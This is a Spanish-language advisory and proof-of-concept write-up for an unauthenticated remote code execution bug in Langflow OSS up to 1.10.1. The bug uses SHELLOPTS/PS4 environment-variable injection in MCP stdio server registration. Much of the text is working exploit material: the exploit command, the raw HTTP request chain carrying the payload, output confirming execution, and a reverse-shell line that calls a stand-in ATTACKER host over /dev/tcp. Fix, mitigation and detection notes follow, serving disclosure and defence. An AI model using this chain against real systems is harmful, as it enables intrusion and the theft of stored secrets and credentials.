
CVE-2026-12940 — Langflow OSS <=1.10.1 RCE no autenticado mediante inyección de variables de entorno en MCP stdio (SHELLOPTS/PS4). PoC del autor + análisis del código fuente + laboratorio.
Ejecución remota de código no autenticada en Langflow
OSS hasta 1.10.1. La lista negra de variables de entorno que protege la configuración del servidor
MCP stdio (DANGEROUS_ENV_VARS) omite SHELLOPTS, BASHOPTS y PS4. Debido a que el lanzador
MCP stdio ejecuta el comando configurado mediante bash -c, un atacante puede inyectar
SHELLOPTS=xtrace junto con una sustitución de comando en PS4 y ejecutar comandos shell
arbitrarios como el usuario del proceso Langflow — sin necesidad de un comando MCP válido ni
autenticación en una instalación predeterminada.
| CVE | CVE-2026-12940 |
| Producto | Langflow OSS |
| Afectado | 1.0.0 – 1.10.1 |
| Corregido | 1.10.2 |
| Clase | Inyección de comandos del sistema operativo (CWE-78) mediante inyección de variables de entorno |
| CVSS 3.1 | 9.8 CRÍTICO — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (IBM CNA) |
| Autenticación | No autenticado en instalación predeterminada (AUTO_LOGIN activado por defecto en 1.10.1) |
| Estado | CONFIRMADO VULNERABLE — verificado de extremo a extremo en langflowai/langflow:1.10.1 |
Langflow permite a un usuario registrar servidores MCP (Model Context Protocol) stdio externos
mediante POST /api/v2/mcp/servers/{name}. El cuerpo de la solicitud es validado por
MCPServerConfig (src/backend/base/langflow/api/v2/schemas.py), que tiene cuidado con command,
args y las claves de env:
command debe estar en una lista blanca (node, python, npx, uvx, docker, sh, bash…).args se analizan en busca de metacaracteres de shell (;, |, $, `, (, ), …) y
palabras clave peligrosas (-c, eval, pip install, …).DANGEROUS_ENV_VARS (LD_PRELOAD, PATH,
NODE_OPTIONS, PYTHONPATH, BASH_ENV, …).Dos brechas se combinan para lograr RCE:
Los valores de env nunca se sanean. Solo las claves se verifican contra la lista negra; los
valores se pasan tal cual. Por lo tanto, un valor PS4 de $(id) sobrevive aunque exactamente
los mismos caracteres serían rechazados dentro de args.
La lista negra está incompleta. En 1.10.1 DANGEROUS_ENV_VARS no contiene shellopts,
bashopts ni ps4.
El lanzador (src/lfx/src/lfx/base/mcp/util.py) entonces ejecuta, en Unix:
env_data = {"DEBUG": "true", "PATH": os.environ["PATH"], **(env or {})}
server_params = StdioServerParameters(
command="bash",
args=["-c", f"exec {command_str} || echo 'Command failed with exit code $?' >&2"],
env=env_data,
)
Con SHELLOPTS=xtrace, bash activa set -x al arrancar y, antes de ejecutar la primera línea
trazada, expande el prompt PS4. Por lo tanto, la sustitución de comandos dentro de PS4 se
ejecuta inmediatamente — independientemente de command/args, que ni siquiera necesitan ser
válidos.
La lista negra se centraliza en src/lfx/src/lfx/base/mcp/util.py como DANGEROUS_MCP_ENV_VARS
e incorpora shellopts, bashopts, ps4 (además de env, como defensa en profundidad).
schemas.py ahora llama a is_dangerous_mcp_env_var(). El registro siguiente se rechaza con HTTP 422
en 1.10.2.
$ python3 exploit.py -u http://127.0.0.1:7860 --cmd "id > /tmp/proof 2>&1"
[*] target : http://127.0.0.1:7860
[*] PS4 : $(id > /tmp/proof 2>&1)
[+] obtained superuser token via /api/v1/auto_login (no credentials)
[+] registered MCP server 'saf550ddb' with SHELLOPTS/PS4 payload (HTTP 200)
[+] triggered launcher via GET /api/v2/mcp/servers?action_count=true (HTTP 200)
[+] payload PS4 executed on the server as the Langflow process user
$ docker exec lf-12940 cat /tmp/proof
uid=1000(user) gid=0(root) groups=0(root)
La cadena HTTP cruda:
GET /api/v1/auto_login HTTP/1.1 → 200, {"access_token":"…"} (default install, no creds)
POST /api/v2/mcp/servers/pwn HTTP/1.1
Authorization: Bearer <token>
Content-Type: application/json
{"command":"uvx","args":["mcp-server-fetch"],
"env":{"SHELLOPTS":"xtrace","PS4":"$(id > /tmp/proof 2>&1)"}}
→ 200 (accepted; LD_PRELOAD here → 422)
GET /api/v2/mcp/servers?action_count=true HTTP/1.1
Authorization: Bearer <token>
→ 200, launcher spawns bash → PS4 runs `id`
--ps4 proporciona una primitiva en bruto para shells inversas / devoluciones de llamada OAST:
python3 exploit.py --ps4 '$(exec 3<>/dev/tcp/ATTACKER/9001; echo pwned $(id) >&3)'
docker run -d --name lf-12940 --network host langflowai/langflow:1.10.1
# (this box has no docker bridge; --network host is required)
# Langflow comes up on http://127.0.0.1:7860 with default config
python3 exploit.py -u http://127.0.0.1:7860 --cmd "id > /tmp/proof 2>&1"
docker exec lf-12940 cat /tmp/proof
Límite de la versión corregida (rechazado):
docker run -d --name lf-patched --network host langflowai/langflow:1.10.2
# POST .../mcp/servers/pwn with SHELLOPTS → HTTP 422
# "Environment variable 'SHELLOPTS' is not allowed for security reasons"
Consulta EVIDENCE.txt para la transcripción completa capturada y
ANALYSIS.md para el recorrido a nivel de código fuente.
CONFIRMADO VULNERABLE en langflowai/langflow:1.10.1, verificado mediante dos técnicas
independientes:
uid=1000(user) gid=0(root) groups=0(root), la salida real de id(1) resuelta contra
el /etc/passwd del objetivo. Esto no es un eco de la cadena de entrada $(id …).CALLBACK user@vbox 6.18.12+kali-amd64).CORREGIDO en langflowai/langflow:1.10.2 — el mismo registro devuelve HTTP 422.
Nota sobre la afirmación de no autenticado. La imagen 1.10.1 viene con
AUTO_LOGINactivado por defecto, por lo que/api/v1/auto_logindevuelve un token de superusuario a cualquier llamante sin credenciales — eso es lo que hace que toda la cadena sea no autenticada en una implementación predeterminada. En una instancia donde se exige autenticación, el mismo RCE es alcanzable por cualquier usuario autenticado con un token/clave API válido (pásalo mediante--token). La imagen 1.10.2 además requiere credenciales para arrancar, un endurecimiento no relacionado.
Ejecución arbitraria de comandos como la cuenta de servicio de Langflow. Lectura completa de todos los secretos, credenciales y flujos de la base de datos de Langflow, acceso a servicios internos y metadatos de la nube, y un pivote hacia la red circundante.
AUTO_LOGIN activado; establece credenciales de
superusuario explícitas y desactiva el inicio de sesión automático.Busca registros de servidores MCP cuyo env contenga variables de control de shell, y procesos bash
hijos del proceso de Langflow:
POST /api/v2/mcp/servers/* with a JSON body containing "SHELLOPTS", "BASHOPTS" or "PS4"
process: bash -c "exec …" parented by the langflow/gunicorn worker
Sigma (creación de procesos):